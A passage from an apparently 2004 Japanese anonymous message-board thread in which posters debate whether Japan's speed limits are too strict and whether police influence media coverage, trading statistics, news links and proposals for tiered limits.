大部分の人が守ってなくて、事実上の報道統制までしなきゃ維持出来ないような速度規制って、やっぱり異常だと思うよ。


391 :名無しさん@お腹いっぱい。:04/01/22 17:57 ID:???
>>390
それが1万人くらいなら社会は容認するんだよ
所詮1万くらい死んだってどうということはない
年間数万の保険を掛ければ無制限に殺しても
大した罪には問われないしな

あくまで過失だから
故意に速度違反して事故になれば死人が出るのを解って
いても過失
こんな事態になるとは思わなかったと言いながら賠償して
ペロっと舌を出してオシマイ

392 :388:04/01/22 18:31 ID:BLHSOVbJ
安全と利便を天秤にかけた時、どう考えても安全が大切
どうも、自動車業界の圧力が見えてしょうがない。
その圧力で“兼ね合い”を利便性にかたむけているのでは?
便利じゃなきゃ乗らないし、そしたら車売れないし。
この狭い日本に車があふれかえっているってのは
素に戻って考えると異常だぜ。

393 :名無しさん@お腹いっぱい。:04/01/22 21:24 ID:???
>>392
溢れかえってるって・・・、人口辺りの車の数は先進国の中ではそんなに多い方じゃなかったような気がする。
あと、自動車業界がそんなに力を持ってるなら、こんなに「取締りをやりすぎだと批判する記事」が皆無になる訳がない。
どう考えても、警察による事実上の情報統制だろ。


394 :検証:04/01/23 00:06 ID:45jmTppI
>>393
> >>392
> 溢れかえってるって・・・、人口辺りの車の数は先進国の中では
>そんなに多い方じゃなかったような気がする。
ttp://www.honda.co.jp/suzuka/guidance/now/05.html
によれば(2000年)

 自家用乗用車の保有率は、1976年には100世帯当たり約50台でしたが、
 2000年3月末現在で約107台に達しています。

 世界の四輪車の保有台数は、7億1533万台で、
 そのうち1位のアメリカが2億1430万台と約3分の1を占めています。
 日本は2位 の7260万台、3位のドイツは4500万台の順になっています。

 各国の人口1千人あたりの自動車の台数では、
 日本はアメリカ、オーストラリア、イタリア、カナダについで5番目です。

ちなみに建設白書(H12)に面白いグラフがあるぞ
ttp://www.mlit.go.jp/hakusyo/kensetu/h12_2/h12/gif/C1120101.gif
要は国中に高速道路を作りまくってるのにもかかわらず
(2000年ごろの高速道路延長は80年代の3倍程度に見える)
増えつづける車の前には焼け石に水状態
(クルマ一台辺りの高速道路延長はほとんど伸びない)
何故なら
ttp://www.aira.or.jp/data/pdf/cars_g.pdf

これを「あふれ返っている」といわずして何と言う?


395 :検証:04/01/23 00:16 ID:45jmTppI
ちなみに「報道統制」だの「情報統制」だの
いってる人がいるが、具体的にどういう話なんだろね?

 暴走族マンセー雑誌がコンビニに溢れ
 警察の取締りを逃れるマニュアル本が、平然と本屋に並び
 しまいにゃ弁護士が「警察の取り締まりはおかしい」
と自分のスピード違反を棚に上げて告訴・上告し
「アタマを冷やせゴラア」という判決を食らっても
それでも警察に悪態つける国なんだけどね、この国は


396 :名無しさん@お腹いっぱい。:04/01/23 02:20 ID:e1hQS+mb
>>394
>>各国の人口1千人あたりの自動車の台数では、日本はアメリカ、オーストラリア、イタリア、カナダについで5番目です。

経済力を考えれば、妥当な順位だと思いますよ。
確かに発展途上国と比べれば「溢れ帰っている」という事になるでしょうが、経済力相応だと思いますよ。

車が金持ちの贅沢品だった(つまり若い頃に免許を取ってない)世代が減る上に、少子化で子供の比率が減ってるんだから、不況下でも人口当りの車の台数が増えるのは当たり前。


397 :名無しさん@お腹いっぱい。:04/01/23 02:35 ID:e1hQS+mb
>>395
>>警察の取締りを逃れるマニュアル本が、平然と本屋に並び

つまり、そういった本が陳列されていても、反発を感じる客は多くないという事でしょう。
例えば「簡単!誰でも出来る万引のやりかた。付録・警備の手薄なお店一覧表付」とか「戸締りのいい加減な住宅の見分け方」などの本が書店で売ってたら、一般の客から良識を疑われるでしょ。
でも、警察の取締りを逃れるマニュアル本は堂々と売られてる。

警察の取締りが、いかに一般の人から支持されてないかが分かるよね。

398 :名無しさん@お腹いっぱい。:04/01/23 02:46 ID:e1hQS+mb
それでもマスコミは、警察マンセー報道に徹してるんだよね。
不祥事とかの場合は別だけど。

海外のテレビで速度違反の問題を取り上げてた時は、必ずと言っていいほど両方の意見を取り上げてたよ。

一体この国のマスコミは・・・。
まあ、そんな現状を許してる我々視聴者の責任でもあるんだけどね。

399 :検証:04/01/23 07:52 ID:45jmTppI
>>396
つまり、「溢れ返っている」というのを認めると
というか「溢れ返っているかどうか」というのは
面積単位の感覚でしょ?
国土面積辺りの台数ではアメリカの8倍・ドイツの1.25倍
平地が少ない日本だから感覚的にはさらに酷いだろうね


400 :検証:04/01/23 07:57 ID:45jmTppI
>>397

> 例えば「簡単!誰でも出来る万引のやりかた。付録・警備の手薄なお店一覧表付」とか
>「戸締りのいい加減な住宅の見分け方」などの本が書店で売ってたら、
「悪のマニュアル」とか何とか称して
売られてなかったっけ?
無論「スピード違反対策本」と同じく
それなりの大義名分を挙げてはいるが


401 :検証:04/01/23 08:01 ID:45jmTppI
ちなみにイギリス辺りではこういう話も出てた
ttp://response.jp/issue/2000/1225/article6301_1.html
イギリス当局が検討している法規により、
スピード違反及び無免許運転のドライバーは
刑務所に入れられるかその車を
一時的に差し押さえされることになりかねないらしい

つい先日まで「このクルマは俺のだが
そのときは運転してないヨー」
という言い逃れが通用したこの国が
トコトン甘く思えるのだが

402 :検証:04/01/23 08:12 ID:45jmTppI
あと、こーゆーのもある

ttp://response.jp/issue/2003/1112/article55494_1.html
【WRC】選手4人がスピード違反で免停に
2003年11月12日
違反した側の意見は書かれてないが
日本の警察がクラッキングして消したかな?(w)


403 :名無しさん@お腹いっぱい。:04/01/23 13:22 ID:rPu55chi
>>399
>>というか「溢れ返っているかどうか」というのは
>>面積単位の感覚でしょ?

面積単位で言えば確かに「溢れかえって」ますね。
それに何の意味があるかは分からないが。
敢えて意味を探すとすれば、「道路用地買収に金が掛かるから、みんな車に乗るな!」とでも言うのかな(w

確かにアメリカやオーストラリアに比べれば、車も人も金も(ウサギ小屋と言われた)住宅さえも溢れかえってますよ。
まあ、香港(国じゃないけど)やシンガポールと比べればどうかとは思いますが。



404 :名無しさん@お腹いっぱい。:04/01/23 13:35 ID:rPu55chi
>>401
あくまで当局サイドが検討してる案ですね。
まあ、仮に成立したとしても・・・。

160km以上って・・・、日本でも首都高速や80km規制の高速なら公判請求になる可能性が高いよね。
一般道なら言うに及ばず。
まあ、100km規制の所ならもう10-20km出さないと公判請求にならないケースが多いようだが。

日本みたいにどんな道路でも100km規制というのは如何なものかと言ってるだけで、好きなだけ出させろって言ってる訳じゃないよ。

405 :名無しさん@お腹いっぱい。:04/01/23 13:43 ID:rPu55chi
>>402
確かにそうだが、当局側の意見も書かれてない。
バランスを欠いているとは言えないね。

それに、中段あたりを読む限りでは、当局寄りの報道姿勢とも思えない。
日本語のニュースでも、舞台が海外だと比較的公正な報道が出来るみたいだね。


406 :検証:04/01/23 20:35 ID:45jmTppI
>>403
> 面積単位で言えば確かに「溢れかえって」ますね。
> それに何の意味があるかは分からないが。

つまり「TDM・ロードプライシング」には何の意味も無いと

「TDM・ロードプライシング」ってどーゆーもんかというと、貴方が言うところの
>「道路用地買収に金が掛かるから、みんな車に乗るな!」とでも言うのかな(w
と冗談めかして書いてるけど、これそのものだったりするのねん
それなりに金かけて世界規模でやられてる政策だったりするのよん

有名なところでは
>まあ、香港(国じゃないけど)やシンガポールと比べればどうかとは思いますが。
と書いたようにシンガポールが先進事例として注目されてるよん
詳しくは自動車工業会のHP
ttp://www.jama.or.jp/lib/jamagazine/200302/06.html
にて
まあ、れっきとした政策として産官学が注目しているものを
「意味が分からない」と一刀両断に切って捨てられるほど
博識な貴方のことだ、この程度のことは常識だろうけどね
で、ワタシはそこまで博識ではないので「意味がある」と思うんだな

407 :検証:04/01/23 20:53 ID:45jmTppI
>>405
> それに、中段あたりを読む限りでは、当局寄りの報道姿勢とも思えない。
> 日本語のニュースでも、舞台が海外だと比較的公正な報道が出来るみたいだね。

国内の事件では警察が情報操作している、と
そーゆーことですな
では
http://response.jp/issue/2004/0123/article57246_1.html
「検察は自己中心的」と裁判長が激怒
裁判官の意見だけがあって
警察の意見も検察の意見も無さそなこの記事に
にはどーゆー情報操作が行われたか教えてね

408 :名無しさん@お腹いっぱい。:04/01/23 21:23 ID:GPHtf78o
>>406
まず前提として、国の面積あたりで比較してもあまり意味が無い。
確かに狭い国のほうが市街地の比率は高いかもしれませんが、広大なアメリカ大陸も大都市は車で「溢れ返っている」し、狭い日本列島にも過疎地域は沢山あります。

大都市に関して「道路用地買収に金が掛かるから、乗る人は相当の負担をしてくれ」というのは一つの考え方でしょうね。
実際、公共交通機関への依存率は明らかに大都市の方が高いですしね。

ただ、過度な速度規制等で利便性を低下させるというのはどうかと思います。
利便性の面から自動車利用を抑えるのではなく、財政的に道路建設が大変なら税金を課せば良い。
或いは、あなたが紹介しているように、都市部への流入車両に課金するシステムでも良いが。

409 :名無しさん@お腹いっぱい。:04/01/23 21:31 ID:GPHtf78o
いずれにしても、道路建設費用の問題と速度規制の問題は別。
財政的に必要なら課金も結構ですが、金を払うなら尚更不必要な規制は撤廃すべき。

世界的に見ても、日本くらい速度規制が厳しい国は無い。
敢えて挙げればアメリカが近いくらいかな。

欧米マンセー主義者と思われないように他の地域も挙げると、速度違反をマトモに取り締まっている国の方が少ない。
もっとも旧共産圏等の現地メーカーの車だと、そもそもスピードが出ない(リミッターでなく性能的に)場合もあるけど先進国産の車は飛ばしてるよ。
まあ、そこまで放任主義なのはどうかと思うけどね。

でも、欧州(特にドイツ)などは、速度無制限道路を作るなど不必要な規制を避けたおかげで、交通規制への市民の信頼を勝ち得て、本当に減速の必要な住宅地ではみんなゆっくり走るらしいですね。
日本も見習うべき。

私は別に欧米マンセーでないし、民間部門はむしろ日本は世界に稀な程優れた経済を築き上げたと思う。
自動車に関しても、同じ値段で比べればハードウエアに関しては世界一。
ただ、残念ながら政治や官僚のレベルは低いと言わざるを得ない。
不合理な道路行政もその一例だし、過剰な速度規制の問題もその一つ。

410 :検証:04/01/23 21:45 ID:45jmTppI
>>409

> でも、欧州(特にドイツ)などは、速度無制限道路を作るなど不必要な規制を避けたおかげで、
>交通規制への市民の信頼を勝ち得て、本当に減速の必要な住宅地ではみんなゆっくり走るらしいですね。
> 日本も見習うべき。

http://response.jp/issue/2003/1201/article55983_1.html
イギリス人もスピード違反監視カメラが嫌い…英紙調査

http://response.jp/issue/2003/1112/article55495_1.html
フランス人がスピード違反監視カメラを嫌う理由

http://response.jp/issue/2002/0903/article19361_1.html
シューマッハの真似して逮捕者続出---ベルギーGPで
スピード違反をするドライバーが続出。ベルギー警察は大忙し

・・・・「交通規制への市民の信頼を勝ち得て」るのでしょうか


411 :名無しさん@お腹いっぱい。:04/01/23 22:08 ID:GPHtf78o
>>410
ヨーロッパでも温度差はあるようですね。
ただ、ヨーロッパの中でもドイツは生活道路での減速が徹底してます。
そのドイツは、速度無制限道路を擁する国でもあります。
これは偶然でしょうか?
やはり、メリハリある速度規制は交通規制への信頼につながり、もう一つ付け加えれば自主的な安全意識にも繋がってるように思えるのですが。

日本のように「スピード=悪」としか考えないような政策が優れているとは、とても思えません。
もちろん減速すべき場所では、きちんと減速すべきですけどね。

あと、イギリスやフランスではドライバーが怒りの声を挙げたお陰で行き過ぎた規制を抑止して来たというのは言えると思います。
官僚に任せていれば「利便性」などという定数化しにくい要素は後回しにされがちです。
要するに、「お上が決めた事だからしょうがない」と諦めてしまう我々ドライバーにも問題有りですね。


412 :検証:04/01/23 22:10 ID:45jmTppI
>>409
>
> 欧米マンセー主義者と思われないように他の地域も挙げると、速度違反をマトモに取り締まっている国の方が少ない。

参考までに
国土交通省、トラックへのスピードリミッターを法制化を施行したのは
欧州できちんとした実績があったから、らしいよ

http://response.jp/issue/2003/0311/article23281_1.html
(中島悟氏が「「事故はスピードの出しすぎだけが原因ではない。
逆にスピードを出しているドライバーは、
意識を持って運転しているので事故を起こさない」と発言したり
http://response.jp/issue/2003/0311/article23277_1.html
自民党議員から妨害されたり
http://response.jp/issue/2003/0311/article23279_1.html
「高速道路は乗用車140km/h、トラック120km/hで流れている。
この実態を踏まえるべきだ」と速度違反容認ともとれる発言も。
あったりしたんだけど

http://response.jp/issue/2003/0312/article23309_1.html
http://response.jp/issue/2003/0312/article23312_1.html
http://response.jp/issue/2003/0312/article23314_1.html
という欧州での実績を元に一蹴されたみたいね

413 :検証:04/01/23 22:13 ID:45jmTppI
>>412
であげた記事シリーズの最後はこう締められている
http://response.jp/issue/2003/0312/article23316_1.html

議員たちがリミッター装着に反対する真の意図は不明だが、
経済成長・効率一辺倒から安全・環境重視へシフトする世界全体の流れのなかで、
事故や環境への影響を無視して突っ走る、
という認識が遅れているのは確か。
「速度違反や過労運転を前提に成り立っている物流業界こそ問題」
(物流ジャーナリスト)という声を、センセイ方はどう聞くのだろうか?

また一般ドライバーも、リミッター装着車を
“動くシケイン”扱いしてイライラするより、
自分が出しているスピードを自問することが大切。
「狭いニッポン、そんなに急いでどこへ行く」
---という古い標語は、現代になってその重みを増しているのでは…。

まあ誰かさんが言ってた「情報操作」の賜物かもしれないがね


414 :名無しさん@お腹いっぱい。:04/01/23 22:18 ID:GPHtf78o
>>407
さすがにそこまでひどい事例だと、情報操作は無理でしょうね。
一応「言論の自由」「報道の自由」が建前だから、あまりあからさまな事は出来ないでしょう。
そこまで規制出来たら、それは名実ともに全体主義国家に近い存在になってしまいます。

ただ、過剰な速度規制が行われている事それ自体に対して正面から批判しているものは、殆ど見ないでしょう。
少なくとも、私は見た事ないです。

インターネット上だと、どんなに警察マンセー一色にしようとしても情報の発信主体が多過ぎて規制は困難でしょう。
実際、一個人に過ぎない私でさえ、何千人もの人が見てる掲示板でこうやって反論してる訳ですし。
でも、マスコミは発信主体の数がそんなに多くないですから、コントロールし易いでしょうね。
もちろん、あまりにもあからさまな規制は限度があるでしょうが。

415 :検証:04/01/23 22:27 ID:45jmTppI
>>414
結局

自分が共感できる意見を見ないから
情報操作が行われてるに違いない、

それだけのことですか

そうでないとすれば
「情報操作の”具体例”」
でも挙げてくださいな

いい加減貴方の「主張?(というより妄想かな)」
を一つ一つ検証するのも疲れてきましたので


416 :名無しさん@お腹いっぱい。:04/01/23 22:46 ID:GPHtf78o
>>415
多くのドライバーが速度規制を守ってない事は事実でしょう。
道路を走ってるドライバーが、みんな非常識な人ばかりとでも言うつもりですか?
つまり、多くの善良なドライバーは現在の速度規制を必要な規制としか感じてない訳です。

>>「情報操作の”具体例”」でも挙げてくださいな

既述の通り、速度規制自体に対して疑問を呈する報道が皆無に近いですよね。
仮に有ったとしても、極めて稀でしょう。
多くの人が賛成していない事なのに、報道機関は報道しない。
警察の速度規制に反対するような報道をしにくい状況があるのは明らかだと思いますが。

存在しない事が問題なのに、「具体例」と言われてもね・・・。

>>412-413
我々の代表である政治家の反対を、実行機関にすぎない官僚が押し切る事自体異常だと思いませんか?
もちろん政治家が立派な人ばかりとは全然思いませんが、選挙のある政治家は国民の声には耳を傾けざるを得ない存在です。
どちらが主導権を握るべきかは、明らかでしょう。

417 :名無しさん@お腹いっぱい。:04/01/23 22:58 ID:GPHtf78o
あとヨーロッパでは、国によって多少の違いはあるにしても、キープレフトが比較的徹底しています。
だから、スピードリミッターを付けたトラックが低速走行しても比較的弊害は少ないでしょうね。

日本ではキープレフト等あって無きが如しでしょう。
一応交通の教本には載ってますけど、警察もキープレフトを推奨するような取組みを事実上行ってないでしょう。

「スピードは悪」しか考えない警察官僚と、従順な国民の組み合わせの結果が、こんな現状でしょうね。


418 :検証:04/01/23 23:02 ID:45jmTppI
>>416
結局「情報操作」の根拠は
貴方の頭の中ですか
さすがにこれは検証できません
「具体例」が存在しないものを
自らの推測のみで
「存在する」と言い切れるのは
神仏のみだと思っていますので

あとね・・・(疲れる)
>我々の代表である政治家の反対を、
>実行機関にすぎない官僚が押し切る事
だれが、いつ、そんなことをやりました?
少なくともこの国では法制化は
国会の議決が必要です
>>412

推測や憶測を
確固とした実例で一蹴した
それだけのことです
そしてその確固とした実例は
誰かさんの理想たる欧州で作られたものです



419 :名無しさん@お腹いっぱい。:04/01/24 00:38 ID:???
>>418
貴殿も親戚縁者友人知人に1人くらいは新聞記者とかおるでしょ。
警察が発表せず、また特にニュース性もないのに、
警察に都合の悪いことを地道に検証して記事にすることを、
新聞テレビは容易にやれるかどうか、聞いてみれば?

貴殿も親戚縁者友人知人に1人くらいは議員がおるでしょ。
ID:GPHtf78oさんが言ってることは現実に照らしてどうか、
「国会の議決」なるものが、教科書読んだだけの中学生の認識のとおりかどうか、
聞いてみれば?

どうも、貴殿にとっての「妄想」とは、
貴殿の脳内の確信、または貴殿が読んだばかりの教科書の記載
に反することのように思えるのですが、、、

420 :名無しさん@お腹いっぱい。:04/01/24 02:48 ID:erVT5uFa
>>418
>>少なくともこの国では法制化は
>>国会の議決が必要です

だからこそマスコミ報道の支援が必要だし、都合の悪い事は報道しにくい状況にする必要があるのでしょう。
実際、あなたの引用したHPでも最大与党の反対を官僚が押し切ってませんか?

>>推測や憶測を
>>確固とした実例で一蹴した

関連する様々な話を調べて来られているのには敬意を表しますが、肝心の
(前提)
多くの善良なドライバーは現在の速度規制を必要な規制としか感じてない。
速度規制自体に対して疑問を呈する報道が皆無に近い。
(要約すると)
多くの人が賛成していない事なのに、報道機関は報道しない。
(前提から導かれる結論)
警察の速度規制に反対するような報道をしにくい状況があるのは明らかでは?

という事に正面から反論されてませんね。
違うのでしたら、どこかに間違いがある筈ですね?
一体どこですか?

>>誰かさんの理想たる欧州

欧州マンセーでない事は述べてる筈ですが。
車の例を挙げると、ト○タみたいに安くてしかも高品質な車を作る事は、ダイ○ラー・クラ○スラー社など逆立ちしても出来ないと思います。
日本人として誇りに思ってますよ。
政府の官僚にも、民間企業の爪の垢でも煎じて飲んで頂きたいと感じるのは私だけでしょうか。


421 :検証:04/01/24 07:26 ID:G7tlGH6h
>>419
そうですよ、私が得てる結論は
私が調べた「事実」を元に得たものであって
あたながアナタの頭の中で思い描いてるものではない

「貴方の頭の中ではアナタが王様、けど他の人にとってはそうではない」
ということです、もしの頭の中の王様を他の人に認めさせたいのなら
それなりの権威を具体的に示すべき、それだけのことです。

アナタが事実をもって「警察の情報操作」
なるものの存在を証明してくれるなら
大歓迎なんですが


422 :検証:04/01/24 07:35 ID:G7tlGH6h
>>420
> >>418
> >>少なくともこの国では法制化は
> >>国会の議決が必要です
>
> だからこそマスコミ報道の支援が必要だし、都合の悪い事は報道しにくい状況にする必要があるのでしょう。
> 実際、あなたの引用したHPでも最大与党の反対を官僚が押し切ってませんか?

いい加減、この手の「事実のスリカエ」はやめてもらえませんか
逆に質問しますが
本来「国会の議決」が必要な「法制化」を「最大与党の反対を」押し切って
どうやって法制化するんですか?クーデターでも起こしたんですか

後段についてはもう疲れるので省略します
何が間違ってるのかと言う質問ですが
要は「トラックのスピードリミッター法制化
に疑問を呈する一部国会議員の主張」
と同じレベルということです。


423 :検証:04/01/24 07:43 ID:G7tlGH6h
>>420
あと、いっときますが私の要求は

「警察の情報操作」なるものの存在を示してください

です、貴方の頭の中にあるモヤモヤは
自分で解決してください

424 :飛び入り:04/01/24 09:13 ID:tZYCt32J
警察の情報操作がどうなのかは全く知らないが、
ほぼ全てのドライバーが違反状態という「事実」もあるわけで、
(しかも、>>375の例にあるように公共交通機関ですら例外でない)
それだけでも、今の規制が不合理である十分な証明となりうる。

とりあえず、議論に入る前に↓のサイトにじっくりと目を通して頂きたい。
ttp://www.web-pbi.com/speed.htm

425 :検証:04/01/24 09:32 ID:G7tlGH6h
>>424
>警察の情報操作がどうなのかは全く知らないが、
と言い切られる時点で私の興味を引く話で無いのですが
参考までに感想を

この手の話は
いわゆる「スピード違反対策本」で
嫌と言うほどされてます
一個人のページとしては労力を割かれていますが
そういった「スピード違反対策本」
以上の内容とは思えません。

ただ、司法的な話をしたいのなら
由利弁護士のページ辺りが面白いかと
ttp://www.marimo.or.jp/~yuri/



426 :名無しさん@お腹いっぱい。:04/01/24 10:41 ID:???
>>425
「スピード違反対策」とは全然違うよ。
「スピード違反対策」はいかに摘発を逃れるかというノウハウなわけで、
>>424であげたサイトの「規制緩和要求」とは全く関係ない。

427 :388:04/01/24 10:47 ID:dhapLExN
規制緩和→事故増加→誰が責任とるの?
自分のケツくらい自分で拭いてほしいもんだ。

428 :名無しさん@お腹いっぱい。:04/01/24 11:05 ID:???
ネタか真実かどうかは分からないが、このような話がある。

あるアメリカ人が仕事で来日することになり、日本の道路を運転する事になった。
日本人の友人から「日本の速度規制は不合理」と聞かされていたのだが、
実際に高速道路を走ってみると、「不合理と聞いていたけど、それほどでもないな」と思っていた矢先、
覆面パトカーに摘発されてしまった。
彼は摘発された理由が分からなかったので尋ねてみたら、「速度違反」だと言われた。
彼は納得できなかったので、「指定されていた80以内で走行していたから、違反なんかしてない」と反論したが、
警察は「40オーバーだ」と譲らず。しばらく言い争いが続いた。
彼はふと「これは警察を装った詐欺師だな」と思い、警察のスキをついて逃亡した。
後に、この出来事を友人に話したら「あれは本物の警察だし、表示された速度はマイルじゃなくてキロ」と言われ、
ようやく、友人が最初に言った本当の意味に気付いたのである。

429 :名無しさん@お腹いっぱい。:04/01/24 11:06 ID:tZYCt32J
>>427
事故が起きれば、ドライバーが責任を取る。今でも当然の事だが。

430 :名無しさん@お腹いっぱい。:04/01/24 11:09 ID:???
それに、規制緩和で事故が極端に増大するとは思えないな。
理由や原理は>>424のサイトにもきっちり書いているし。

431 :388:04/01/24 11:09 ID:???
>429
事故増加に対する責任だよ
事故そのものじゃないよ。

432 :あぼーん:あぼーん
あぼーん

433 :388:04/01/24 11:34 ID:???
あ、俺だ。

434 :検証:04/01/24 11:45 ID:G7tlGH6h
>>426
えと、その手の本の本来?の目的としては
そーなんでしょうけど
大抵その前フリとして
「現行の日本の取締りがいかに”不合理”か」
という主張に結構なページが割かれてますよん


435 :名無しさん@お腹いっぱい。:04/01/24 12:21 ID:???
国民が本当に困っていることなら、政治家は票集めのために公約するはずだが、やらないなあ。


436 :検証:04/01/24 13:39 ID:G7tlGH6h
>>435
そういえば記憶も定かではないが
確か参議院選挙辺りで
「日本ドライバー党」とか言う名称で
「不当な交通取締りを無くす」とか言う人たちが
立候補してたような・・・

もっとも「サラリーマン新党」の類の一つ
とみなされて文字通り泡沫だった


437 :名無しさん@お腹いっぱい。:04/01/24 14:54 ID:BvNUoziy
>435
民主党(管代表)はやってくれそうな気がするな。
俺が前々から主張していた高速道路無料化も取り上げてくれたし。
#直接言った訳じゃないけどさ。
結局、規制緩和って自民党には無理。自分で自分の首を絞めることはできんよな。
何はともあれ、速度規制緩和についてはもっといろんな人(普通の市民)が議論
する必要があると思うが。

438 :検証:04/01/24 19:32 ID:???
訂正します
>>422
>本来「国会の議決」が必要な「法制化」を「最大与党の反対を」押し切って
>どうやって法制化するんですか?クーデターでも起こしたんですか
「保安基準」は省令なので、条文変更に関する国会議決は必要無いですな
予算委員会でも審議されパブリックコメント等も経て執行してるので
「反対を押し切って」施行してるわけでは無いのは事実ですが
で、事実こーゆー記事もあるし

http://response.jp/issue/2003/0704/article52185_1.html
大型車スピードリミッター問題、決着へ

大型車用スピードリミッターの装着見直しを求めていた
自民党の一部議員と国土交通省らはこのほど、
安全対策を引き続き話し合うことで合意し
リミッターを予定通り今年9月から装着することで合意した。

まあ、省令を法律と勘違いしてたのは反省せねば


439 :おまわりさんの味方:04/01/24 21:39 ID:P557Om3y
世界中で日本ほど運転者(違反者)天国は無いでしょう
アメリカでは、警察の歩道通行による追跡が当然の様ですし、
走行中の車を止めて、バッジを見せて、借り上げする事も
出来るそうです。ハリウッド映画のとうりだそうです。


440 :名無しさん@お腹いっぱい。:04/01/24 21:44 ID:E8jFfgFi
車の性能は飛躍的に良くなってるんですけど
人の質の低下のほうが ね

441 :名無しさん@お腹いっぱい。:04/01/25 03:37 ID:???
>409
>世界的に見ても、日本くらい速度規制が厳しい国は無い。
>敢えて挙げればアメリカが近いくらいかな。

それは違う。
アメリカのハイウエイは歩行者も歩いてるので、日本の国道みたいなもの。
完全に歩行者を締め出してるハイウエイで100キロなんて国は、主要国では日本だけ。
日本の七不思議(w

442 :名無しさん@お腹いっぱい。:04/01/25 08:57 ID:Jtz9Iv8V
>409,441
速度規制の厳しいと言われるアメリカでも、
片1車線の田舎道(北海道の郊外みたいなところ)は
50〜55マイル制限だった。

この辺に設定してくれれば、そうそうオーバーすることも
あるまい。

443 :名無しさん@お腹いっぱい。:04/01/25 09:38 ID:???
想定問答集

444 :名無しさん@お腹いっぱい。:04/01/25 12:39 ID:JhmMm//j
猪瀬が沈黙したのは、あの手の輩の支持層には少なからず
自動車敵視の「市民団体」がいるからだと思う。

TVや新聞が触れたがらないのは、苦情の投書や電話が大好きな
人たちがこぞって食いついてくるからだと思う。遵法意識がお高い
揚げ足取り大好きな人たちが。



445 :名無しさん@お腹いっぱい。:04/01/25 22:10 ID:???
>>428
漏れは別の話を聞いた事がある。

広い国道を自転車と原付1種が並行して走っているのだが、
そこは長い下り坂になっているので、結構スピードが出ていたようだ。
とはいえ、自転車が並行して走れるので、暴走ではないのだが、
運悪くスピード違反で原付の運転手は摘発されてしまった。
当然ながら、一方の自転車の方は「お前は自転車で良かったな」だってさ(w

446 :名無しさん@お腹いっぱい。:04/01/25 22:20 ID:???
>>444
昔の社会党みたいな、何でもクレーマーが少なからずいるからなぁ。
でも、そんな香具師が自転車で摘発されたら「法律がおかしい」とか言うんだろうな。
(例えば、自転車での横断歩道走行は違反で罰金対象など、結構ある)

TV・一般紙のメジャー系マスコミには期待できないので、
こういうときは男性週刊誌なんかで大きく取り上げて欲しいよな。
現状は「裸の王様」状態だから、まずは声を上げる事から始めないと。

447 :名無しさん@お腹いっぱい。:04/01/27 15:22 ID:vjVsSDw5
「過剰な速度規制や、不透明な反則金使途」について是非取り上げて欲しいって、週刊誌に電話やメールしてみようかな。
1-2社が大々的に取り上げれば、他も動くかも。
先陣を切るのは怖いだろうけど、追随なら警察も全週刊誌を叩く訳にはいかないだろうし。


448 :名無しさん@お腹いっぱい。:04/01/27 21:58 ID:???
>>447
高速バスの件もあるし、今は投稿するタイミングがいいかも。
タブーを破れる週刊誌だからこそ、期待したいものだ。
ただ、週刊プレイボーイだけはこのような記事が時々出てくるが、
エロ雑誌のイメージがあるので、ここだけはあまり期待できないかも。

週刊誌一覧
ttp://www.dango.ne.jp/goo/zine.htm

449 :名無しさん@お腹いっぱい。:04/01/27 22:49 ID:???
>>448
取り上げられるかどうかは分からないが、一覧に載っていた雑誌社にメールを送ってみた。
1社でも取り上げてくれれば儲けものだと思うし、ダメで元々だからな。
日本の制限速度に不満がある方はメールを送ってみようよ。

450 :名無しさん@お腹いっぱい。:04/01/28 00:02 ID:EX7okQIM
>>448
早速私もメール送ってみました。

載ってた各雑誌社のURL
AERA  ttp://www3.asahi.com/opendoors/span/aera/
週刊現代  ttp://kodansha.cplaza.ne.jp/wgendai/top.html
週刊朝日  ttp://www3.asahi.com/opendoors/span/syukan/
FLASH ttp://www.kobunsha.com/top.html
週刊文春  ttp://202.32.189.64/mag/shukanbunshun/
週刊新潮   ttp://www.shinchosha.co.jp/shukanshincho/
週刊実話  ttp://www.nihonjournal.jp/index.html

みんなで声を挙げて変えましょう。

451 :中川泰秀:04/01/28 08:50 ID:OyoftUeb
速度規制がキビシイというよりは、最高速度の設定が低すぎるのだ。

452 :名無しさん@お腹いっぱい。:04/01/28 09:28 ID:???
例えば、速度制限を上げたとしよう
40km→60km
この道路は現在40km制限
実際は+20kmくらいの、60kmほどで走行する車両がほとんどとしよう。
この道路の速度制限を60kmに引き上げた時、
「今まで+20kmで走っていたんだから、これからも+20kmで・・・」
などというドライバーが多そう。
以前の速度規制40kmの倍の速度80km!ちょっと怖いと思うのは
俺だけ?

現在の道路環境って歩行者を蔑にしすぎ
主要道など歩道がある道はまだいいが
歩道の無い道でも自動車速度だし過ぎ。
といいたいのだ。


453 :名無しさん@お腹いっぱい。:04/01/28 21:27 ID:???
>>452
そりゃ、歩道がなく、歩行者の多い道路で80km/hで横を通り抜けられれば、普通の人は怖いはず。
それに、そのような道路では制限を上げたところで、車の流れはスローペースで変わらないと思う。
また、制限速度を上げると言っても、全ての道路を「一律に」上げるのではなく、
道路状況に応じて「適正化」すると言った方がいいかもな。
ただ、適正化しようとすると、殆どの道路に対して制限速度を上げる方向になってしまうので、
「制限速度を上げろ」という声が大きく聞こえてしまう罠。
あくまで自分から見た車の流れから、適正と思う制限は

(30km/h)
住宅密集地の中にあるような、中央線も歩道もない狭い道路

(50-60km/h)
市街地にある交通量の多い中央線のある片側1車線道路

(80-100km/h)
郊外の交通量の少ない中央線のある片側1車線以上の道路
片側2車線以上の一般道路
湾岸線を除く都市高速道路

(120-130km/h)
高速道路の走行車線
都市高速の湾岸線

(無制限)
高速道路の追越車線
第二東名名神高速

454 : :04/01/28 22:29 ID:???
>>453
道路構造令って知ってる?


455 :名無しさん@お腹いっぱい。:04/01/29 00:14 ID:QMq0mfpT
>>453
賛成です。
ちなみに30kmの生活道路については、取締り以外にも道路の凹凸等も併用すると効果的。

幹線道路を適切な規制水準にすれば速度規制に対する説得力が高まり、生活道路の30km規制も守られるようになる筈。
そうすれば、却って歩行者も安心して歩けるようになると思います。

456 :名無しさん@お腹いっぱい。:04/01/29 11:18 ID:1J7rotza
だいたい運転してればごく普通の人なら「この道は○○kmくらいで走ればいいな」
という基準があるよ。(DQNは別ね)
その認識と制限速度がズレてるのが問題なわけで。
片側3車線以上の道で40制限とかやってるからみんな「制限速度なんてバカらしい。
守ってられるかい」という風潮になる。
多くの人が納得できる制限速度にしてほしい。
極端な話ほとんどの人は生活道路で「制限速度無し」といわれても60km程度で
とばしたりしないでしょ。

457 :名無しさん@お腹いっぱい。:04/01/29 22:09 ID:???
>>454
そんな専門的な事は知らないし、その道路を実際に運転するのは専門家でない一般ドライバーが殆ど。
